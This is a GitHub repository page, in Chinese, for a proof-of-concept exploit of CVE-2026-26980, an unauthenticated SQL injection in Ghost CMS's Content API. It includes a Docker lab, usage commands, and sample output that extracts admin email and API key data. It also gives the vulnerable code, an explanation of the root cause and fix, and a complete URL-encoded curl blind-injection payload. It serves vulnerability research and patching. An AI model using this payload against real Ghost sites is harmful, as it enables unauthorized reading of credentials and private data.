EQSTLab/CVE-2026-26980

GitHub: EQSTLab/CVE-2026-26980

Ghost CMS Content API 未授权 SQL 注入漏洞(CVE-2026-26980)的 PoC 及配套 Docker 漏洞实验环境。

Stars: 3 | Forks: 2

# CVE-2026-26980 ★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL 注入 PoC ★ https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
## 概述 CVE-2026-26980 是 TryGhost Ghost CMS Content API 中的一个未授权 SQL 注入漏洞。当处理 `slug:[...]` 排序时,该漏洞路径可以通过公开的 Content API 过滤器处理逻辑访问到。 此 PoC 构建了一个受控的 Ghost `6.19.0` 实验环境,并演示了如何将一个公开的 Content API 请求转化为基于布尔的数据库读取原语。
## 受影响版本 | 产品 | 受影响版本 | 修复版本 | 漏洞类型 | | ------------------ | --------------------------- | ------------- | ------------------ | | TryGhost Ghost CMS | `>= 3.24.0`, `< 6.19.1` | `6.19.1` | SQL 注入 | 该实验环境使用的是 Ghost `6.19.0`。
## 环境搭建 使用 Docker 构建并运行存在漏洞的 Ghost CMS 环境: ``` docker build -t cve-2026-26980 . docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980 ``` 示例: ``` http://127.0.0.1:9102/ ``` image 该实验环境在 `9102` 端口运行了一个真实的存在漏洞的 Ghost `6.19.0` 实例。 该实验的 Content API key 为: ``` EQSTLab299 ```
## 漏洞描述 CVE-2026-26980:TryGhost Ghost CMS Content API SQL 注入漏洞 描述:`6.19.1` 之前的 TryGhost Ghost CMS 中存在 SQL 注入漏洞,拥有公开 Content API key 的未授权攻击者可以通过 Content API 的 filter 参数读取任意数据库值。该问题出现在 `slug:[...]` 过滤器排序路径中,用户控制的 slug 值在没有进行正确参数绑定的情况下被直接插入到了原生 SQL 语句中。 Ghost Content API key 通常在设计上会通过主题、搜索、portal 或前端 JavaScript 暴露给浏览器。这意味着即使没有 Ghost Admin 的身份验证,也可能触达该漏洞路径。
## 使用方法 ### Git clone ``` git clone https://github.com/EQSTLab/CVE-2026-26980.git cd CVE-2026-26980 ``` ### 命令 ``` python3 poc.py --url [Target] ``` 可选的自定义 Content API key: ``` python3 poc.py --url [Target] --key [Content API Key] ``` ### 示例 ``` python3 poc.py --url [Target] python3 poc.py --url [Target] --key EQSTLab299 ``` `[Target]` 示例:`http://127.0.0.1:9102` ### 输出 ``` ======================================================================== Ghost CMS - Unauthenticated SQLi Data Extraction ======================================================================== Target: [Target] API Key: [Content API Key] Endpoint: Content API (public, no auth) [*] Calibrating oracle... OK [*] Phase 1: Recon (fast checks) length(users.email) = 17 length(users.password) = 60 count(settings) (3 chars): 110 count(users) (1 chars): 1 count(api_keys) (1 chars): 9 [*] Phase 2: Extracting values Admin email (17 chars): ghost@example.com Admin name (5 chars): Ghost Admin API key ID (24 chars): Admin API secret (64 chars): [*] Phase 3: DB snapshot Result: DB read primitive confirmed ``` 公开的 PoC 通过提取实验环境安全的数据库元数据和 Ghost API key 材料来演示数据库读取造成的影响。它不会打印挑战的 flag。
## 分析 ### 漏洞点 ``` GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...] ``` 漏洞逻辑存在于 Ghost 的 Content API 针对 `slug:[...]` 过滤器的输入序列化路径中。Ghost 支持列表样式的 slug 过滤器,并通过生成 `ORDER BY CASE` 表达式来保留所请求的 slug 顺序。 在受影响的版本中,由用户控制的 slug 值被插入到了 SQL 片段中。一个简化的漏洞模式如下: ``` for (const [index, slug] of slugs.entries()) { order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`); } ``` 因为 `slug` 是由攻击者控制的,并且在插入 SQL 字符串时没有进行参数绑定,所以精心构造的 Content API 过滤器可以突破预期的比较逻辑,并注入额外的 SQL 语句。 ### 利用逻辑 实验环境的 PoC 使用了两个公开的标签,`bacon` 和 `chorizo`,作为可观察的布尔盲注媒介。 - 如果注入的 SQL 条件为真,则 `bacon` 会排在前面。 - 如果注入的 SQL 条件为假,则 `chorizo` 会排在前面。 通过使用不同的 SQL 条件重复此测试,PoC 可以每次推断出一个字符,最终获取数据库中的值。 使用 curl 进行布尔盲注检查: ``` curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D" ``` ### 根本原因 根本原因是由用户控制的 `slug` 值不安全地构造了 SQL 的 `ORDER BY CASE` 片段。易受攻击的代码试图保留 Content API 响应的顺序,但它却将解析后的 NQL 过滤器值视为受信任的 SQL 文本。 一个稳健的修复方案必须: - 避免将用户控制的 slug 值直接内插到 SQL 字符串中 - 对每个 slug 值使用参数绑定 - 在不将过滤器值转换为原生 SQL 的情况下保留排序 - 将 NQL 解析与 SQL 构造分开 Ghost 在 `6.19.1` 版本中通过使用参数化查询绑定替换原生内插修复了此问题。 ### 影响 这是一个 **CWE-89: SQL 命令中使用的特殊元素转义处理不恰当(SQL 注入)** 问题。 由于 Ghost Content API 本身就是公开的,该漏洞可能允许未授权的攻击者通过公开的内容端点创建数据库读取原语。根据数据库的具体内容和权限,攻击者可能能够: - 枚举数据库表元数据 - 读取站点配置值 - 读取用户表字段 - 读取 API key 记录 - 提取存储在 Ghost 数据库中的私有应用数据
## 场景 ``` +-------------------------------------------+ | Remote Attacker | +-------------------------------------------+ | | GET /ghost/api/content/tags/ | filter = slug:[,chorizo,bacon] v +-------------------------------------------+ | Ghost Public Content API | +-------------------------------------------+ | | Unsafe slug order SQL construction v +-------------------------------------------+ | ORDER BY CASE SQL Injection | +-------------------------------------------+ | | Boolean difference in tag ordering v +-------------------------------------------+ | Unauthenticated DB Read | +-------------------------------------------+ ```
## 实验备注 该实验环境运行的是一个真实的存在漏洞的 Ghost `6.19.0` 实例,而不是极简的模拟服务器。 该实验环境植入了: - 一个公开的 Content API key:`EQSTLab299` - 两个用于盲注媒介的标签:`bacon`, `chorizo` - EQST Lab 品牌标识和示例博客内容 - Ghost SQLite 数据库中一个一次性的私有挑战值 公开的 `poc.py` 专为演示视频和公开的分析文章设计。它展示了 SQL 注入造成的影响,但不会打印挑战的 flag。
## 清理环境 ``` docker stop cve-2026-26980 ```
# 免责声明 本仓库并非旨在提供针对 CVE-2026-26980 的实际 SQL 注入利用。本项目的目的是帮助人们了解此漏洞,并允许开发者测试他们自己的应用程序。
# 参考链接 https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97 https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91 https://github.com/TryGhost/Ghost/releases/tag/v6.19.1 https://nvd.nist.gov/vuln/detail/CVE-2026-26980 https://osv.dev/vulnerability/CVE-2026-26980 https://github.com/TryGhost/Ghost
标签:CISA项目, Ghost CMS, PoC, Web安全, 多线程, 暴力破解, 蓝队分析, 请求拦截, 逆向工具